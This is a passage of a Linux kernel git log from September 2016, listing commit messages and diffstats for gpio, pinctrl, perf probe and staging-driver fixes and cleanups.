gpio: pca953x: initialize ret to zero to avoid returning garbage ret is not initialized so it contains garbage. Ensure garbage is not returned in the case that pdata && pdata->teardown is false by initializing ret to 0. Signed-off-by: Colin Ian King Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d4b8e2c5b07e20f3ef0ca0a2bde390beb0f8fda5 Author: Stephen Warren Date: Thu Sep 1 13:02:16 2016 -0600 dt: net: enhance DWC EQoS binding to support Tegra186 The Synopsys DWC EQoS is a configurable IP block which supports multiple options for bus type, clocking and reset structure, and feature list. Extend the DT binding to define a "compatible value" for the configuration contained in NVIDIA's Tegra186 SoC, and define some new properties and list property entries required by that configuration. Signed-off-by: Stephen Warren Signed-off-by: Rob Herring .../bindings/net/snps,dwc-qos-ethernet.txt | 99 +++++++++++++++++++++- 1 file changed, 95 insertions(+), 4 deletions(-) commit 7a023fd239498edd269838784f12888147d970da Author: Arnaldo Carvalho de Melo Date: Fri Sep 9 12:00:08 2016 -0300 perf probe: Fix dwarf regs table for x86_64 In 293d5b439483 ("perf probe: Support probing on offline cross-arch binary") DWARF register tables were introduced for many architectures, with the one for the "dx" register being broken for x86_64, which got noticed by the 'perf test bpf' testcase, that has this difference from a successful run to one that fails, with the aforementioned patch: -Writing event: p:perf_bpf_probe/func _text+5197232 f_mode=+68(%di):x32 offset=%si:s64 orig=dx:s32 -Failed to write event: Invalid argument -bpf_probe: failed to apply perf probe eventsFailed to add events selected by BPF +Writing event: p:perf_bpf_probe/func _text+5197232 f_mode=+68(%di):x32 offset=%si:s64 orig=%dx:s32 Add the missing '%' to '%dx' to fix this. Acked-by: Masami Hiramatsu Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Fixes: 293d5b439483 ("perf probe: Support probing on offline cross-arch binary") Link: https://lkml.kernel.org/r/20160909145955.GC32585@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/x86/include/dwarf-regs-table.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ac182e8abc6f93c1c4cc12f042af64c9d7be0d1e Author: Alexander Usyskin Date: Mon Sep 12 16:21:43 2016 +0300 mei: me: add kaby point device ids Add device ids for Intel Kabypoint PCH (Kabylake) Cc: #4.6+ Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/hw-me-regs.h | 3 +++ drivers/misc/mei/pci-me.c | 3 +++ 2 files changed, 6 insertions(+) commit 6d125412fc16802012a17665638f49b0b0c81f18 Author: Alexander Shiyan Date: Fri Sep 9 09:20:03 2016 +0300 gpio: iop: Use generic GPIO MMIO functions for driver This patch switches the driver to use the generic GPIO MMIO functions that removes a bit of redundant and duplicate code. Signed-off-by: Linus Walleij drivers/gpio/Kconfig | 3 +- drivers/gpio/gpio-iop.c | 115 +++++++++--------------------------------------- 2 files changed, 24 insertions(+), 94 deletions(-) commit 31963eb039b7d5708cdd3e07d247ac2389eb0c1f Author: Amitesh Singh Date: Thu Sep 8 17:11:20 2016 +0530 gpio: fix documentation for gpiod_unexport Both gpio_export and gpio_free APIs are obsolete now. Signed-off-by: Amitesh Singh Signed-off-by: Linus Walleij drivers/gpio/gpiolib-sysfs.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ea3d579d8f0cc5f16105c2741e2d409563beb948 Author: Bartosz Golaszewski Date: Fri Sep 9 11:17:38 2016 +0200 gpio: pca953x: coding style fixes pca953x_gpio_set_multiple() has some coding style issues that make it harder to read. Tweak the code a bit. Signed-off-by: Bartosz Golaszewski Reviewed-by: Andy Shevchenko Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) commit d0fbf1d3280c2192fc1588af96cbad5297792371 Merge: 3732b30 3689ad7 Author: Rafael J. Wysocki Date: Mon Sep 12 14:49:29 2016 +0200 Merge back earlier cpufreq material for v4.9. commit 60f547be82acd3ab5369caf981280a2f13b403e9 Author: Bartosz Golaszewski Date: Fri Sep 9 11:17:37 2016 +0200 gpio: pca953x: remove an unused variable The chip_type variable in struct pca953x_chip is no longer required. Remove it. Signed-off-by: Bartosz Golaszewski Reviewed-by: Andy Shevchenko Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit c6e3cf01d31d88d35a8fbf8bf4773b737fa48f21 Author: Bartosz Golaszewski Date: Fri Sep 9 11:17:36 2016 +0200 gpio: pca953x: refactor pca953x_read_regs() Avoid the unnecessary if-else in pca953x_read_regs() by spltting the routine into smaller, specialized functions and calling the right one via a function pointer held in struct pca953x. Signed-off-by: Bartosz Golaszewski Reviewed-by: Andy Shevchenko Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 49 ++++++++++++++++++++++++++++++++------------- 1 file changed, 35 insertions(+), 14 deletions(-) commit 7acc66e3711b004496c85a64534b2b8aabef8df3 Author: Bartosz Golaszewski Date: Fri Sep 9 11:17:35 2016 +0200 gpio: pca953x: refactor pca953x_write_regs() Avoid the unnecessary if-else in pca953x_write_regs() by splitting the routine into smaller, specialized functions and calling the right one via a function pointer held in struct pca953x_chip. Signed-off-by: Bartosz Golaszewski Reviewed-by: Andy Shevchenko Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 75 ++++++++++++++++++++++++++++----------------- 1 file changed, 47 insertions(+), 28 deletions(-) commit 53661f3bc64a3203efad5daa6cf4c4e87c53b394 Author: Bartosz Golaszewski Date: Fri Sep 9 11:17:34 2016 +0200 gpio: pca953x: code shrink There are multiple places in the driver code where a switch (chip->chip_type) is used to determine the proper register offset. Unduplicate the code by adding a simple structure holding the possible offsets that differ between the pca953x and pca957x chip families and use it to avoid the checks. Signed-off-by: Bartosz Golaszewski Reviewed-by: Andy Shevchenko Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 133 ++++++++++++++++---------------------------- 1 file changed, 48 insertions(+), 85 deletions(-) commit 4c806c9891100e80cbd6be654de7c8ca6f6be3ef Author: Vladimir Zapolskiy Date: Thu Sep 8 04:48:16 2016 +0300 gpio: mxc: add generic gpio request/free callbacks to pinctrl If a GPIO controller description in board DTB contains information about mappings between GPIOs and pads under IOMUX control use it to request and free GPIOs with respect to pinctrl/pinmux subsystems. One of immediate positive functional changes is inability to request non-existing GPIOs, i.e. if there is no pad such. Also pinctrl/pinmux may now properly account pads occupied by requested GPIOs. The change has no effect, if "gpio-ranges" property is not found including the case if a board has no DTB firmware. Signed-off-by: Vladimir Zapolskiy Acked-by: Shawn Guo Signed-off-by: Linus Walleij drivers/gpio/gpio-mxc.c | 5 +++++ 1 file changed, 5 insertions(+) commit e188cbf7564fba80e8339b9406e8740f3e495c63 Author: Vladimir Zapolskiy Date: Thu Sep 8 04:48:15 2016 +0300 gpio: mxc: shift gpio_mxc_init() to subsys_initcall level In general situation on-SoC GPIO controller drivers should be probed after pinctrl/pinmux controller driver, because on-SoC GPIOs utilize a pin/pad as a resource provided and controlled by pinctrl subsystem. This is stated in multiple places, e.g. from drivers/Makefile: GPIO must come after pinctrl as gpios may need to mux pins etc Looking at Freescale iMX SoC series specifics, imx*_pinctrl_init() functions are called at arch_initcall and postcore_initcall init levels, so the change of initcall level for gpio-mxc driver from postcore_initcall to subsys_initcall level is sufficient. Also note that the most of GPIO controller drivers settled at subsys_initcall level. If pinctrl subsystem manages pads with GPIO functions, the change is needed to avoid unwanted driver probe deferrals during kernel boot. Signed-off-by: Vladimir Zapolskiy Acked-by: Shawn Guo Signed-off-by: Linus Walleij drivers/gpio/gpio-mxc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 430be10dd356fe9f1c142222fb9cc78feb00e86f Author: Vladimir Zapolskiy Date: Thu Sep 8 04:48:14 2016 +0300 pinctrl: imx: accept gpio request/free from pinctrl While only Freescale Vybrid SoC has settings of GPIO capabilities done by iomux controller, it is only a matter of GPIO controller driver implementation for the rest of Freescale/NXP SoCs from iMX series. As a practical example on GPIO request a pad function should be switched to GPIO, but because this requires updates to all particular iMX pinctrl drivers, for simplicity at the moment add only a proper connection between shared pinctrl-imx and pinctrl/pinmux core, namely .gpio_request_enable/.gpio_disable_free/.gpio_set_direction callbacks should return success to a caller. This change allows to progress by adding request/free callbacks into gpio-mxc.c driver. Signed-off-by: Vladimir Zapolskiy Acked-by: Shawn Guo Signed-off-by: Linus Walleij drivers/pinctrl/freescale/pinctrl-imx.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 14bf873e5921fd414cf6f0b31b799eeabd27dd74 Author: Vladimir Zapolskiy Date: Thu Sep 8 02:58:32 2016 +0300 gpio: lpc32xx: remove unused platform data file ARM LPC32xx platform is device-tree only, there is no need to keep a file with GPIO platform data structures, however some of macro definitions should be moved to the driver code, which is the only user of the removed header file. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Linus Walleij drivers/gpio/gpio-lpc32xx.c | 15 ++++++++- include/linux/platform_data/gpio-lpc32xx.h | 50 ------------------------------ 2 files changed, 14 insertions(+), 51 deletions(-) commit 5803348cfcead8ac768e3c86bbe6f5afb5a10935 Author: Marc Zyngier Date: Tue Sep 6 14:58:15 2016 +0100 pinctrl/at91: Don't provide a default trigger type at91 used to set a default trigger type for GPIO interrupts in order to cope with the old board files. These days are long gone, and it all gets probed through DT. Andras Szemzo reported that the Ethernet device on his board was bailing to be probed, due to a conflict in interrupt trigger. Surely enough, this is due to this default trigger still being present, and turning this into a IRQ_TYPE_NONE fixes the issue. Reported-by: Andras Szemzo Tested-by: Andras Szemzo Cc: Linus Walleij Cc: Jean-Christophe PLAGNIOL-VILLARD Signed-off-by: Marc Zyngier Acked-by: Nicolas Ferre Signed-off-by: Linus Walleij drivers/pinctrl/pinctrl-at91.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f6573adedb7d8ee4be3a88fdb2b2e944695946d7 Author: David Kershner Date: Fri Sep 2 16:41:45 2016 -0400 staging: unisys: visorbus: cleanup include listings Cleaned up include section of files so that they only include the files needed by them. If an include file includes the file already don't repeat it. Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 2 -- 1 file changed, 2 deletions(-) commit 4f3f0c3d7c3d0e6532e355068e0f0dc195380356 Author: David Kershner Date: Fri Sep 2 16:41:44 2016 -0400 staging: unisys: visorbus: merge guestlinuxdebug with vmcallinterface.h Merge guestlinuxdebug into vmcallinterface.h since it is dependent on it Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/guestlinuxdebug.h | 180 ---------------------- drivers/staging/unisys/visorbus/visorbus_main.c | 1 - drivers/staging/unisys/visorbus/visorchipset.c | 1 - drivers/staging/unisys/visorbus/vmcallinterface.h | 152 ++++++++++++++++++ 4 files changed, 152 insertions(+), 182 deletions(-) commit 7f5780a266cd0fd005242c68f8afc755ebbf9769 Author: David Kershner Date: Fri Sep 2 16:41:43 2016 -0400 staging: unisys: remove check for GNUC The check for GNUC is redundant and is not needed for vmcallinterface.h. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/vmcallinterface.h | 2 -- 1 file changed, 2 deletions(-) commit dca0a14df16cea02ac690443487995fe4424fae9 Author: David Kershner Date: Fri Sep 2 16:41:42 2016 -0400 staging: unisys: visorbus: Move non global guestlinuxdebug to visorbus Guestlinuxdebug.h is only used by visorbus, move the include file into its directory instead of the global one. Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/guestlinuxdebug.h | 180 ---------------------- drivers/staging/unisys/visorbus/guestlinuxdebug.h | 180 ++++++++++++++++++++++ 2 files changed, 180 insertions(+), 180 deletions(-) commit 443c0c7ae95de44da1b92f371f23a181a9786076 Author: David Kershner Date: Fri Sep 2 16:41:41 2016 -0400 staging: unisys: visorbus: remove include for vbuschannel.h visorbus_main.c does not need to include vbuschannel.h. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 1 - 1 file changed, 1 deletion(-) commit 77190cfc458af4b04b135f09ae9b0f892449ee40 Author: David Kershner Date: Fri Sep 2 16:41:40 2016 -0400 staging: unisys: visorbus: Merge iovmcall_gnuc into vmcallinterface iovmcall_gnuc was only being referenced by vmcallinterface, so merge them together. Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/iovmcall_gnuc.h | 48 ----------------------- drivers/staging/unisys/visorbus/vmcallinterface.h | 35 +++++++++++++++-- 2 files changed, 32 insertions(+), 51 deletions(-) commit b6d0fa15e851cc8779a5e7676f2b52a33baba8ba Author: David Kershner Date: Fri Sep 2 16:41:39 2016 -0400 staging: unisys: visorbus: merge vbusdeviceinfo.h into vbuschannel vbusdeviceinfo.h was only used by vbuschannel.h so merge them together. Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/vbuschannel.h | 212 ++++++++++++++++++- drivers/staging/unisys/visorbus/vbusdeviceinfo.h | 234 --------------------- drivers/staging/unisys/visorbus/visorbus_private.h | 2 +- 3 files changed, 212 insertions(+), 236 deletions(-) commit 3995c5da25e988b5699989912a2024a10c0d1b95 Author: David Kershner Date: Fri Sep 2 16:41:38 2016 -0400 staging: unisys: visorbus: Reorder functions to avoid including header Visorchannel does not need to include visorbus_private.h; all it was using it for was function prototypes. A simple reorder causes it to no longer need to include it. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchannel.c | 245 ++++++++++++------------- 1 file changed, 122 insertions(+), 123 deletions(-) commit 8a7a2fde4d8a7a24e0ca6acc5e032ddedc0b6640 Author: David Kershner Date: Fri Sep 2 16:41:37 2016 -0400 staging: unisys: visorbus: Merge controlvm completion status to controlvmchannel The completion status are valid only for the controlvm channel so they should be moved into its header file. Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/controlvmchannel.h | 76 ++++++++++++++++ .../unisys/visorbus/controlvmcompletionstatus.h | 101 --------------------- drivers/staging/unisys/visorbus/visorchipset.c | 1 - 3 files changed, 76 insertions(+), 102 deletions(-) commit e308d698bca71476c8410a7f2e68a376c34a8a3b Author: Erik Arfvidson Date: Fri Sep 2 16:41:36 2016 -0400 staging: unisys: merge diagchannel.h to visorbus.h It is pointless to have a dedicated include for another include. So I merged them together. Signed-off-by: Erik Arfvidson Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/diagchannel.h | 38 ----------------------- drivers/staging/unisys/include/visorbus.h | 19 ++++++++++++ drivers/staging/unisys/visorbus/vmcallinterface.h | 1 - 3 files changed, 19 insertions(+), 39 deletions(-) commit 89cb05105117dfa0b86635c7e8c124e529047f15 Author: Bryan Thompson Date: Fri Sep 2 16:41:35 2016 -0400 staging: unisys: visorinput: Remove ultrainputreport.h include Stop ultrainputreport.h from including itself. Signed-off-by: Bryan Thompson Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorinput/ultrainputreport.h | 2 -- 1 file changed, 2 deletions(-) commit d7cbd9f6c4cdb379ebd04cda9cfce1bbf6442e26 Author: Bryan Thompson Date: Fri Sep 2 16:41:34 2016 -0400 staging: unisys: visorinput: Update visorinput.c includes Remove unnecessary channel.h include from visorinput.c. Signed-off-by: Bryan Thompson Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorinput/visorinput.c | 1 - 1 file changed, 1 deletion(-) commit d6d0c6f444a82a792cef1be5860255bd1cae93bb Author: David Binder Date: Fri Sep 2 16:41:33 2016 -0400 staging: unisys: visorbus: Merge channel_guid.h with channel.h Merges the contents of channel_guid.h with channel.h, as the former was not a proper header file. Therefore, the channel_guid.h is no longer needed. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/channel.h | 41 +++++++++++++++++++ drivers/staging/unisys/include/channel_guid.h | 55 -------------------------- drivers/staging/unisys/include/iochannel.h | 1 - drivers/staging/unisys/visorbus/visorchipset.c | 2 +- 4 files changed, 42 insertions(+), 57 deletions(-) commit 7339cb09a91ea316b6b84944910a2869abfc7fea Author: David Binder Date: Fri Sep 2 16:41:32 2016 -0400 staging: unisys: visorbus: Convert visorchipset.h refs visorbus_private.h was previously named visorchipset.h. This patch removes references to the old filename, and updates them with the new filename. Signed-off-by: David Binder Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_private.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 43c0ab0e1c7f9d5dec502af988b8922599b485f5 Author: Bryan Thompson Date: Fri Sep 2 16:41:31 2016 -0400 staging: unisys: Move vbushelper.h contents to visorbus_private.h The contents of vbushelper.h are now only used by visorbus, so it no longer needs to be a general include file and it can be incorporated in the visorbus private header. Signed-off-by: Bryan Thompson Signed-off-by: David Kershner Reviewed-by: Tim Sell Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/vbushelper.h | 46 ---------------------- drivers/staging/unisys/visorbus/visorbus_private.h | 26 +++++++++++- 2 files changed, 25 insertions(+), 47 deletions(-) commit 1e5bcbe67aee51e72e3a0411351d783185c8229b Author: Jon Frisch Date: Fri Sep 2 16:41:30 2016 -0400 staging: unisys: visorbus: remove putfile_buffer_entry This patch removes the unused struct putfile_buffer_entry. Signed-off-by: Jon Frisch Signed-off-by: David Kershner Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 9 --------- 1 file changed, 9 deletions(-) commit d5bc757c1f6606c03e14d093c3a96e9e7f2f413f Author: Jon Frisch Date: Fri Sep 2 16:41:29 2016 -0400 staging: unisys: visorbus: remove unused lists This patch removes the following lists that were never used: LIST_HEAD(bus_info_list) LIST_HEAD(dev_info_list) LIST_HEAD(putfile_request_list) Signed-off-by: Jon Frisch Signed-off-by: David Kershner Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 10 ---------- 1 file changed, 10 deletions(-) commit 1bda5a2b0acc4f99b602f612c24da777a989c095 Author: Jon Frisch Date: Fri Sep 2 16:41:28 2016 -0400 staging: unisys: visorbus: remove g_devicechangestate_packet This patch removes the unused struct controlvm_message_packet g_devicechangestate_packet. The struct is set but never called. Signed-off-by: Jon Frisch Signed-off-by: David Kershner Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 2 -- 1 file changed, 2 deletions(-) commit fbb5d8cf680b4bc7e8d73b86229055c60b1c6820 Author: Erik Arfvidson Date: Fri Sep 2 16:41:27 2016 -0400 staging: unisys: visornic_main.c remove unused pound defines This removes two unused pound defines in the visornic_main.c file. Signed-off-by: Erik Arfvidson Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visornic/visornic_main.c | 2 -- 1 file changed, 2 deletions(-) commit 992d03d91b4cdc141957d2876ab75d83a30d18bc Author: Erik Arfvidson Date: Fri Sep 2 16:41:26 2016 -0400 staging: unisys: visorbus_main.c remove unused pound defines This removes two unused pound defines in the visorbus_main.c file. Signed-off-by: Erik Arfvidson Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 3 --- 1 file changed, 3 deletions(-) commit f6376a59017847bb107b01f17bf6594c65901c03 Author: Erik Arfvidson Date: Fri Sep 2 16:41:25 2016 -0400 staging: unisys: visorchipset.c remove unused pound defines This removes three unused pound defines in the visorchipset.c file. Signed-off-by: Erik Arfvidson Signed-off-by: David Kershner Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 3 --- 1 file changed, 3 deletions(-) commit 0c8de4cf6dd5a9f7f44df33eac76f0aa70c97521 Author: Matias Mucciolo Date: Fri Sep 9 12:42:33 2016 -0300 staging: dgnc: dgnc_sysfs *_ATTR() macros convert Convert DRIVER_ATTR() macro with DRIVER_ATTR_RO/RW and DEVICE_ATTR() macro with DEVICE_ATTR_RO() Signed-off-by: Matias Mucciolo Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_sysfs.c | 183 +++++++++++++++++++------------------- 1 file changed, 90 insertions(+), 93 deletions(-) commit 970e82dfade8e2640d3ad73785732435148e5917 Author: Fernando Apesteguia Date: Mon Sep 5 20:28:32 2016 +0200 staging: dgnc: Fix multi line comment alignment Fix alignment in multi line comment block. Remove extra '*' to use the preferred comment style as in Documentation/CodingStyle Signed-off-by: Fernando Apesteguia Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 50 +++++++++++++++++++------------------- 1 file changed, 25 insertions(+), 25 deletions(-) commit 60dcf58a628475281748742cda3b09d5a66babeb Author: Aaro Koskinen Date: Sat Sep 3 00:33:38 2016 +0300 staging: octeon: stop using cvmx_helper_link_autoconf() Stop using cvmx_helper_link_autoconf(). We want to remove it in the future, as it duplicates link state information into platform code for no reason. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-rgmii.c | 5 ++++- drivers/staging/octeon/ethernet.c | 6 ++++-- 2 files changed, 8 insertions(+), 3 deletions(-) commit 943407ce3012385855f860493bd7326cfa401316 Author: Claudiu Beznea Date: Sun Sep 4 20:52:21 2016 +0300 Staging: wlan-ng: changed definition of DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() macro This patch changes definition of DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() macro and uses DIDmib_dot11smt_dot11WEPDefaultKeysTable instead of using directly (P80211DID_MKSECTION(1) | P80211DID_MKGROUP(4)). Signed-off-by: Claudiu Beznea Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metadef.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 17d9ff12c0b14a2a265c41720761499e22acc549 Author: Claudiu Beznea Date: Sun Sep 4 20:52:20 2016 +0300 Staging: wlan-ng: uses DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() macro instead of DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKey3 This patch removes DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKey3 macro and uses DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() instead. Signed-off-by: Claudiu Beznea Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metadef.h | 4 ---- drivers/staging/wlan-ng/p80211req.c | 2 +- drivers/staging/wlan-ng/prism2mib.c | 2 +- 3 files changed, 2 insertions(+), 6 deletions(-) commit 8d3a225251bd1250be2f4c2cfc8efb571602a926 Author: Claudiu Beznea Date: Sun Sep 4 20:52:19 2016 +0300 Staging: wlan-ng: uses DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() macro instead of DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKey2 This patch removes DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKey2 macro and uses DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() instead. Signed-off-by: Claudiu Beznea Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metadef.h | 4 ---- drivers/staging/wlan-ng/p80211req.c | 2 +- drivers/staging/wlan-ng/prism2mib.c | 2 +- 3 files changed, 2 insertions(+), 6 deletions(-) commit 41e9b844cc8ec2c7a747aec52706f3312878395f Author: Claudiu Beznea Date: Sun Sep 4 20:52:18 2016 +0300 Staging: wlan-ng: uses DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() macro instead of DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKey1 This patch removes DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKey1 macro and uses DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() instead. Signed-off-by: Claudiu Beznea Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metadef.h | 4 ---- drivers/staging/wlan-ng/p80211req.c | 2 +- drivers/staging/wlan-ng/prism2mib.c | 2 +- 3 files changed, 2 insertions(+), 6 deletions(-) commit 152f04483dcce4b8d7a7c82689e8917196d84921 Author: Claudiu Beznea Date: Sun Sep 4 20:52:17 2016 +0300 Staging: wlan-ng: uses DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() macro instead of DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKey0 This patch removes DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKey0 macro and uses DIDmib_dot11smt_dot11WEPDefaultKeysTable_key() instead. Signed-off-by: Claudiu Beznea Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metadef.h | 4 ---- drivers/staging/wlan-ng/p80211req.c | 2 +- drivers/staging/wlan-ng/prism2mib.c | 2 +- 3 files changed, 2 insertions(+), 6 deletions(-) commit 992f961480d23e9ef9e686e512a419efef723523 Author: Phil Turnbull Date: Fri Sep 2 15:35:31 2016 -0400 staging: sm750fb: Correctly set CLOCK_PHASE bit of display controller. Commit 6fba39cf32a3 ("staging: sm750fb: use BIT macro for PANEL_DISPLAY_CTRL single-bit fields") accidentally changed the CLOCK_PHASE logic from '|=' to '=' which clears all the previously set bits. Fixes: 6fba39cf32a3 ("staging: sm750fb: use BIT macro for PANEL_DISPLAY_CTRL single-bit fields") Signed-off-by: Phil Turnbull Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_mode.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 777953182ea9a750e744bd0a50fb8893cd061397 Author: Pavel Andrianov Date: Mon Sep 5 16:17:47 2016 +0300 speakup: Add spinlock in synth_direct_store All operations with synth buffer should be protected, as there are global pointers, which should be modified atomically. Found by Linux Driver Verification project (linuxtesting.org) Signed-off-by: Pavel Andrianov Acked-by: Vaishali Thakkar Reviewed-by: Samuel Thibault Signed-off-by: Greg Kroah-Hartman drivers/staging/speakup/kobjects.c | 3 +++ 1 file changed, 3 insertions(+) commit 372095723a597f4d27f561abab9b3da4c8a33106 Author: Michael Ellerman Date: Mon Sep 12 20:00:36 2016 +1000 EDAC: Remove NO_IRQ from powerpc-only drivers We'd like to eventually remove NO_IRQ on powerpc, so remove usages of it from powerpc-only drivers. The pdata structs are kzalloc'ed, so we don't need to initialise those to 0, we can just drop the assignments entirely. Signed-off-by: Michael Ellerman Cc: Arnd Bergmann Cc: Johannes Thumshirn Cc: linux-edac Cc: linuxppc-dev@ozlabs.org Link: http://lkml.kernel.org/r/1473674436-19467-1-git-send-email-mpe@ellerman.id.au Signed-off-by: Borislav Petkov drivers/edac/mpc85xx_edac.c | 2 -- drivers/edac/mv64x60_edac.c | 4 ---- drivers/edac/ppc4xx_edac.c | 4 +--- 3 files changed, 1 insertion(+), 9 deletions(-) commit da25a8ec6b2d66d9510358173b8da4c80d686c2b Author: Luca Ceresoli Date: Tue Sep 6 18:36:57 2016 +0200 staging: rtl8188eu: remove unused debugging functions These functions were only mentioned in the rtw_proc_init_one() function in drivers/staging/rtl8188eu/os_dep/os_intfs.c, which was under #if 0 and has now been removed completely. As they are not used anywhere, and also violate the coding style rules, remove them. Signed-off-by: Luca Ceresoli Cc: Greg Kroah-Hartman Cc: Kyle Kuffermann Cc: Chris Elliott Cc: Ivan Safonov Cc: devel@driverdev.osuosl.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_debug.c | 731 -------------------------- drivers/staging/rtl8188eu/include/rtw_debug.h | 121 ----- 2 files changed, 852 deletions(-) commit f1a2b7ab269884a17bbbd9cee643975e857b6fbe Author: Luca Ceresoli Date: Tue Sep 6 18:36:56 2016 +0200 staging: rtl8188eu: remove useless include Since the removal of rtw_proc_init_one() the proc filesystem is not mentioned in this driver. So this include becomes useless. Signed-off-by: Luca Ceresoli Cc: Greg Kroah-Hartman Cc: Arnd Bergmann Cc: Binoy Jayan Cc: Anish Bhatt Cc: "Rémy Oudompheng" Cc: Alexey Khoroshilov Cc: Kyle Kuffermann Cc: devel@driverdev.osuosl.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/osdep_service.h | 1 - 1 file changed, 1 deletion(-) commit ac66b628a9f3e9b153aec31aba9e4f3ff2a1fc09 Author: Luca Ceresoli Date: Tue Sep 6 18:36:55 2016 +0200 staging: rtl8188eu: remove rtw_proc_{init,remove}_one rtw_proc_init_one() and rtw_proc_remove_one() are two very long functions that are supposed to create a bunch of proc entries to access debugging features of the driver. But both of them are under #if 0 since their first commit three years ago 